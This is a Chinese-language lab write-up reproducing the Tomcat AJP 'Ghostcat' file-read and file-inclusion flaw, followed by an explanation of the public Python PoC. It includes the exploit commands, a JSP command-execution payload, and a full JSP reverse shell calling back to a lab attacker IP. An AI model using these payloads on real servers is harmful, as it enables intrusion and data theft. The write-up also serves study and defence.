一、漏洞描述
Apache Tomcat是由Apache軟件基金會屬下Jakarta項目開發的Servlet容器.默認情況下,Apache Tomcat會開啟AJP連接器,方便與其他Web服務器通過AJP協議進行交互.但Apache Tomcat在AJP協議的實現上存在漏洞,導致攻擊者可以通過發送惡意的AJP請求,可以讀取或者包含Web應用根目錄下的任意文件,如果配合文件上傳任意格式文件,將可能導致任意代碼執行(RCE).該漏洞利用AJP服務端口實現攻擊,未開啟AJP服務對外不受漏洞影響(tomcat默認將AJP服務開啟并綁定至0.0.0.0/0).
二、危險等級
高危
三、漏洞危害
攻擊者可以讀取 Tomcat所有 webapp目錄下的任意文件。此外如果網站應用提供文件上傳的功能,攻擊者可以先向服務端上傳一個內容含有惡意 JSP 腳本代碼的文件(上傳的文件本身可以是任意類型的文件,比如圖片、純文本文件等),然后利用 Ghostcat 漏洞進行文件包含,從而達到代碼執行的危害
四、影響范圍
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
五、前提條件
對于處在漏洞影響版本范圍內的 Tomcat 而言,若其開啟 AJP Connector 且攻擊者能夠訪問 AJP Connector 服務端口的情況下,即存在被 Ghostcat 漏洞利用的風險。注意 Tomcat AJP Connector 默認配置下即為開啟狀態,且監聽在 0.0.0.0:8009 。
六、漏洞原理
Tomcat 配置了兩個Connector,Connector組件的主要職責就是負責接收客戶端連接和客戶端請求的處理加工。它們分別是 HTTP 和 AJP :HTTP默認端口為8080,處理http請求,而AJP默認端口8009,用于處理 AJP 協議的請求,而AJP比http更加優化,多用于反向、集群等,漏洞由于Tomcat AJP協議存在缺陷而導致。
攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件以及可以包含任意文件,如果有某上傳點,上傳圖片馬等等,即可以獲取shell。
瀏覽器不能直接支持AJP協議。所以實際通過Apache的proxy_ajp模塊進行反向代理,暴露成http協議(8009端口)給客戶端訪問
相關的配置文件在conf/server.xml。
構造兩個不同的請求,經過tomcat內部處理流程,一個走default servlet(DefaultServlet),另一個走jsp servlet(JspServlet),可導致的不同的漏洞。
文件讀取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。
七、部署靶機環境
靶機:ubuntu22.04
配置:可以看看這個,無腦操作(當然可以使用docker)
在 Ubuntu 20.04 上安裝 Apache Tomcat 教程 - Bandwagonhost中文網-Bandwagonhost中文網
攻擊機:Linux kali2023
八、復現過程
1、探測IP
2、任意文件讀取
下載Exp:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi/chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
讀取文件內容(-f后即是指定的文件):
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f WEB-INF/web.xml
Python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f index.jsp
3.任意文件包含(這個需要結合文件上傳漏洞)
這里自己上傳了一個木馬到ROOT目錄:test.txt
腳本內容:
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
訪問一下是可達的
修改Poc:
主要是這,將/asdf改成/asdf.jspx
執行腳本
python2 cvefileinclude.py 192.168.155.184 -p 8009 -f test.txt
成功
嘗試反彈shell:
腳本:
<%@page import="java.lang.*,? java.util.*,? java.io.*,? java.net.*"%><%try {String host = "192.168.155.166";int port = 9001;Socket socket = new Socket();socket.connect(new? InetSocketAddress(host, port), 2000);Process process;if (System.getProperty("os.name").toLowerCase().contains("win"))? {process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();} else {process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();}InputStream? pin = process.getInputStream();InputStream? perr = process.getErrorStream();OutputStream pout = process.getOutputStream();InputStream? sin = socket.getInputStream();OutputStream sout = socket.getOutputStream();while(!socket.isClosed())? {while(pin.available()? > 0)? sout.write(pin.read());while(perr.available()? > 0) sout.write(perr.read());while(sin.available()? > 0)? pout.write(sin.read());sout.flush();pout.flush();}process.destroy();socket.close();} catch (Exception e) {}%>
九、POC解析
(一)引入的包及作用
1、struct:用于處理二進制數據,AJP協議基于二進制
2、socket:建立與Tomcat服務器的AJP端口的TCP連接,發送構造的惡意請求并接收響應。
3、argparse:解析命令行參數
4、StringIO(隱式引入):在AjpForwardRequest.parse() 中,用于將二進制數據流轉換為類文件對象,便于流式解析
(二)函數
Pack_strings:函數
將字符串?s?按特定二進制格式序列化:[2字節長度] + [字符串字節數據] + [1字節的0]
?????? >h:?表示大端(Big-endian)的有符號短整數(2字節)
?????? >H:大端的無符號短整數(2字節)
?????? %ds:動態長度的字節串(例如?5s?表示 5 字節),對應?s?的 UTF-8 編碼數據。
????????b:一個有符號字節(1字節),固定為?0
大端序是最高有效字節在前,小端是最低有效字節在前。AJP協議是基于TCP的,而網絡傳輸通常采用大端序,也就是網絡字節序。同時Tomcat AJP協議(Apache JServ Protocol)明確要求所有字段以大端序編碼,且字符串以?\0
?結尾
Unpack函數
解包二進制數據,返回一個元組
計算需要讀取的字節數à讀取字節à按照格式解析讀取到的字節
unpack_string函數
從二進制流中解析 AJP 協議格式字符串,記住前兩個字節表示整個字節流的長度
(三)類
AjpBodyRequest類
處理客戶端與服務器之間的數據傳輸
數據傳輸方向:
讀取字節à空則返回數據頭,非空則添加數據長度à根據方向拼接數據并返回
循環發送數據塊 → 等待服務器指令 → 根據指令決定是否繼續發送
GET_BODY_CHUNK:表示對方要求發送下一個數據塊(用于分片傳輸)。
SEND_HEADERS:表示對方已發送響應頭,需結束數據傳輸。
len(data) == 4:表示空包
AjpForwardRequest類
構造和發送AJP請求到目標服務器
分配數值標識符,AJP協議要求將HTTP方法以數值而不是字符串形式傳輸
后面定義標準請求頭和請求屬性
SC_REQ:該頭是 AJP協議預定義的標準頭
區分預定義頭和自定義頭,將HTTP請求頭按AJP協議規范序列化為二進制數據
若屬性名為req_attribute,表示這是一個嵌套屬性,其值需拆分為兩個部分(名,值)à打包屬性(名)值。看到這里可以基本明白漏洞原理。
AJP 協議未對 javax.servlet.include.* 屬性進行安全校驗,攻擊者通過偽造請求頭實現 路徑穿越。通過設置req_attribute 屬性,注入惡意路徑,觸發 Tomcat 解析任意文件,從而泄露敏感信息。例如:{'name':'req_attribute', 'value':['javax.servlet.include.path_info', 'WEB-INF/web.xml']},
在屬性列表末尾添加 0xFF,表示 屬性序列結束
Serialize函數:生成二進制數據包
Parse函數:解析接收到的AJP協議數據包,將其轉換為結構化的請求對象
send_and_receive函數:處理AJP協議的請求發送和響應接收
參數傳入
/asdf 是用于觸發 AJP 文件包含漏洞的任意路徑,實現路徑覆蓋,訪問目標文件